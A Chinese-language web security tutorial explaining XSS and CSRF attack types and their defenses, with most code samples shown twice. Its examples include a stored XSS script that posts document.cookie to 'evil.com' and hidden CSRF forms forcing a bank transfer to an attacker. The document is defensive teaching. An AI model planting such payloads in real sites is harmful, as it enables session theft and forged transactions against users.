Skip to content

XSS 与 CSRF ​

XSS (Cross-Site Scripting) ​

攻击者将恶意脚本注入到网页中,在用户浏览器中执行。

三种类型 ​

类型触发方式危害常见场景
反射型恶意链接,服务端返回脚本中搜索页、错误页
存储型恶意代码存入数据库,其他用户访问时执行高评论区、用户资料
DOM 型前端 JS 动态写入恶意内容中URL hash、onerror

反射型 XSS 示例 ​

html
<!-- 恶意链接 -->
http://example.com/search?q=<script>alert('xss')</script>

<!-- 服务端直接拼接返回 -->
<p>搜索结果:<script>alert('xss')</script></p>
<!-- 恶意链接 -->
http://example.com/search?q=<script>alert('xss')</script>

<!-- 服务端直接拼接返回 -->
<p>搜索结果:<script>alert('xss')</script></p>

存储型 XSS 示例 ​

js
// 用户在评论区输入
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookie: document.cookie })
  })
</script>
// 其他用户访问页面时自动执行
// 用户在评论区输入
<script>
  fetch('https://evil.com/steal', {
    method: 'POST',
    body: JSON.stringify({ cookie: document.cookie })
  })
</script>
// 其他用户访问页面时自动执行

DOM 型 XSS 示例 ​

js
// ❌ 危险:直接插入 HTML
const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}`

// ✅ 安全:使用 textContent
document.getElementById('welcome').textContent = `Hello, ${name}`
// ❌ 危险:直接插入 HTML
const name = new URLSearchParams(location.search).get('name')
document.getElementById('welcome').innerHTML = `Hello, ${name}`

// ✅ 安全:使用 textContent
document.getElementById('welcome').textContent = `Hello, ${name}`

防御措施 ​

1. 输入过滤与输出转义 ​

js
// 前端通用转义函数
function escapeHTML(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  }
  return str.replace(/[&<>"']/g, char => map[char])
}

// 使用 DOMPurify 库(推荐)
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userInput)
// 前端通用转义函数
function escapeHTML(str) {
  const map = {
    '&': '&amp;',
    '<': '&lt;',
    '>': '&gt;',
    '"': '&quot;',
    "'": '&#x27;',
  }
  return str.replace(/[&<>"']/g, char => map[char])
}

// 使用 DOMPurify 库(推荐)
import DOMPurify from 'dompurify'
const clean = DOMPurify.sanitize(userInput)

2. 使用框架的安全机制 ​

jsx
// React 默认转义所有 JSX 表达式
const userInput = '<script>alert("xss")</script>'
return <div>{userInput}</div>  // 安全:显示为文本

// ❌ 危险:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />

// Vue 使用 v-html 时手动过滤
<div v-html="sanitize(content)" />
// React 默认转义所有 JSX 表达式
const userInput = '<script>alert("xss")</script>'
return <div>{userInput}</div>  // 安全:显示为文本

// ❌ 危险:dangerouslySetInnerHTML
return <div dangerouslySetInnerHTML={{ __html: userInput }} />

// Vue 使用 v-html 时手动过滤
<div v-html="sanitize(content)" />

3. CSP 限制 ​

http
Content-Security-Policy: script-src 'self'
Content-Security-Policy: script-src 'self'
http
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax
Set-Cookie: session=xxx; HttpOnly; Secure; SameSite=Lax

CSRF (Cross-Site Request Forgery) ​

攻击者诱导用户点击链接,在用户已登录状态下发起恶意请求。

攻击示例 ​

html
<!-- 攻击者网站上的恶意页面 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
<!-- 或 -->
<form action="https://bank.example.com/transfer" method="POST" style="display:none">
  <input name="to" value="attacker" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>
<!-- 攻击者网站上的恶意页面 -->
<img src="https://bank.example.com/transfer?to=attacker&amount=10000" />
<!-- 或 -->
<form action="https://bank.example.com/transfer" method="POST" style="display:none">
  <input name="to" value="attacker" />
  <input name="amount" value="10000" />
</form>
<script>document.forms[0].submit()</script>

防御措施 ​

http
Set-Cookie: session=xxx; SameSite=Strict  # 完全阻止第三方请求携带
Set-Cookie: session=xxx; SameSite=Lax     # 允许 GET 等安全方法(默认)
Set-Cookie: session=xxx; SameSite=Strict  # 完全阻止第三方请求携带
Set-Cookie: session=xxx; SameSite=Lax     # 允许 GET 等安全方法(默认)

2. CSRF Token ​

html
<!-- 服务端在页面中嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="随机Token" />
  <input name="to" />
  <input name="amount" />
</form>

<!-- 前端请求携带 -->
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify(data),
})
<!-- 服务端在页面中嵌入 Token -->
<form action="/transfer" method="POST">
  <input type="hidden" name="_csrf" value="随机Token" />
  <input name="to" />
  <input name="amount" />
</form>

<!-- 前端请求携带 -->
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': csrfToken,
  },
  body: JSON.stringify(data),
})

3. 验证 Referer/Origin ​

js
// 服务端校验 Referer 是否来自本站
const referer = req.headers.referer
if (!referer?.startsWith('https://example.com')) {
  return 403
}
// 服务端校验 Referer 是否来自本站
const referer = req.headers.referer
if (!referer?.startsWith('https://example.com')) {
  return 403
}

4. 二次确认 ​

js
// 敏感操作要求用户再次输入密码或验证码
await confirmPassword()
// 敏感操作要求用户再次输入密码或验证码
await confirmPassword()

XSS vs CSRF 对比 ​

XSSCSRF
原理执行恶意脚本伪造用户请求
目标窃取数据/控制页面执行操作
依赖需注入代码依赖用户登录态
防御过滤/转义/CSPToken/SameSite/Referer